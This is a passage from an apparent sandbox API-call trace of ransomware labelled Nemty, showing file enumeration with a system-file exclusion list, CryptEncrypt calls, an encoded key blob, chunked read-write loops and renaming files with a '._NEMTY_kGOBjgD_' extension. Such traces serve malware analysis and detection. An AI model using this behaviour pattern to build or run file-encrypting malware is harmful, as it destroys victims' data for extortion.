lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.747] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.756] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.756] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.756] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.757] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.770] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.770] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.770] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.770] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.776] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.776] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.776] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.776] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340240, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.776] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0159.777] CloseHandle (hObject=0xffffffff) returned 0 [0159.777] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403b0 [0159.777] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0159.777] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0159.777] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0159.777] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0159.777] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0159.777] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340468 [0159.777] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0159.777] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340468 | out: hHeap=0x4f90000) returned 1 [0159.777] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0159.777] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\divider-horizontal.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\divider-horizontal.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\divider-horizontal.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\divider-horizontal.png._nemty_kgobjgd_")) returned 0 [0159.777] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0159.777] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0159.777] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0159.777] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0159.777] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0159.777] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0159.777] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0159.777] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340188 | out: hHeap=0x4f90000) returned 1 [0159.777] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0159.777] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0159.777] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x876ef911, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x876ef911, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2afc6355, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xafd, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="divider-vertical.png", cAlternateFileName="")) returned 1 [0159.777] lstrcmpiW (lpString1="divider-vertical.png", lpString2=".") returned 1 [0159.777] lstrcmpiW (lpString1="divider-vertical.png", lpString2="..") returned 1 [0159.777] lstrcmpiW (lpString1="divider-vertical.png", lpString2="...") returned 1 [0159.777] lstrcmpiW (lpString1="divider-vertical.png", lpString2="windows") returned -1 [0159.777] lstrcmpiW (lpString1="divider-vertical.png", lpString2="$RECYCLE.BIN") returned 1 [0159.777] lstrcmpiW (lpString1="divider-vertical.png", lpString2="rsa") returned -1 [0159.777] lstrcmpiW (lpString1="divider-vertical.png", lpString2="NTDETECT.COM") returned -1 [0159.777] lstrcmpiW (lpString1="divider-vertical.png", lpString2="ntldr") returned -1 [0159.778] lstrcmpiW (lpString1="divider-vertical.png", lpString2="MSDOS.SYS") returned -1 [0159.778] lstrcmpiW (lpString1="divider-vertical.png", lpString2="IO.SYS") returned -1 [0159.778] lstrcmpiW (lpString1="divider-vertical.png", lpString2="boot.ini") returned 1 [0159.778] lstrcmpiW (lpString1="divider-vertical.png", lpString2="boot.ini") returned 1 [0159.778] lstrcmpiW (lpString1="divider-vertical.png", lpString2="AUTOEXEC.BAT") returned 1 [0159.778] lstrcmpiW (lpString1="divider-vertical.png", lpString2="ntuser.dat") returned -1 [0159.778] lstrcmpiW (lpString1="divider-vertical.png", lpString2="desktop.ini") returned 1 [0159.778] lstrcmpiW (lpString1="divider-vertical.png", lpString2="CONFIG.SYS") returned 1 [0159.778] lstrcmpiW (lpString1="divider-vertical.png", lpString2="RECYCLER") returned -1 [0159.778] lstrcmpiW (lpString1="divider-vertical.png", lpString2="BOOTSECT.BAK") returned 1 [0159.778] lstrcmpiW (lpString1="divider-vertical.png", lpString2="bootmgr") returned 1 [0159.778] lstrcmpiW (lpString1="divider-vertical.png", lpString2="programdata") returned -1 [0159.778] lstrcmpiW (lpString1="divider-vertical.png", lpString2="appdata") returned 1 [0159.778] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0159.778] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="divider-vertical.png", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0159.778] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0159.778] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="divider-vertical.png", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="divider-vertical.png", lpUsedDefaultChar=0x0) returned 20 [0159.778] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0159.778] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0159.778] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="divider-vertical.png", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0159.778] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0159.778] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="divider-vertical.png", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="divider-vertical.png", lpUsedDefaultChar=0x0) returned 20 [0159.778] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0159.778] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0159.778] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0159.778] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0159.778] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="divider-vertical.png", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0159.778] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0159.778] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="divider-vertical.png", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="divider-vertical.png", lpUsedDefaultChar=0x0) returned 20 [0159.778] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0159.778] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0159.778] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="divider-vertical.png", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0159.778] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0159.778] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="divider-vertical.png", cchWideChar=20, lpMultiByteStr=0x4f9ed58, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="divider-vertical.png", lpUsedDefaultChar=0x0) returned 20 [0159.778] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0159.778] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340188 [0159.778] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0159.779] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400d0 [0159.779] Sleep (dwMilliseconds=0x5) [0159.788] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x12e368d0, dwHighDateTime=0x1d561e8)) [0159.789] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x12e368d0, dwHighDateTime=0x1d561e8)) [0159.789] GetLastError () returned 0x5 [0159.789] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0159.789] GetLastError () returned 0x5 [0159.789] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0159.789] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0159.789] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0159.789] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0159.789] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0159.789] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0159.789] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340240 [0159.789] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340240, pcchString=0x653e91c | out: pszString="bKOP8FqmgUxHOt0teai+jvhhsPZWtYGkbTUzc/v6Bw4270ar4bGKiA+oYzPBDfK+\r\nDp4xD4yG20xfOvMWSk8bvQ9QNy8rPfyXpl/xIZUKCW9I+99HAnaZxp4uYv2BLTyy\r\nXK8mxjaTFFcOfiOIkhZHXCaRATXvonW+eqffqLT7fQM/Hg25l/tt9ubre5+qx3x/\r\ng9G5jPI8WwxKmCCUZpjmFZlHfJvusA6IO5runmmnW4veIU3wSsnrUKgK3wmjNAlr\r\n5lrQpn1nyHN/mW7HYOxPxacCXWKsE2VA4995K5PnBexouqfsPPD0z9TlghroiSAV\r\nGUIDnuLnA5vWmim5x8ikTA==\r\n", pcchString=0x653e91c) returned 1 [0159.789] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0159.789] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0159.789] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0159.789] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0159.789] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340240 [0159.789] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0159.789] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\divider-vertical.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\divider-vertical.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0159.792] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0159.792] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0159.792] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.792] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.802] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.802] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.802] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.802] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.811] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.811] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.811] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.811] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.820] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.820] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.820] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.820] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.830] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.830] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.830] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.830] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.839] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.839] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.839] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.839] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.848] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.848] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.848] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.848] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.857] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.857] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.857] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.857] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.866] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.866] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.867] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.867] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.876] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.876] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.876] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.876] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.885] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.885] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.885] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.885] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.891] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.891] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.891] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.891] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.897] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.897] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.897] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 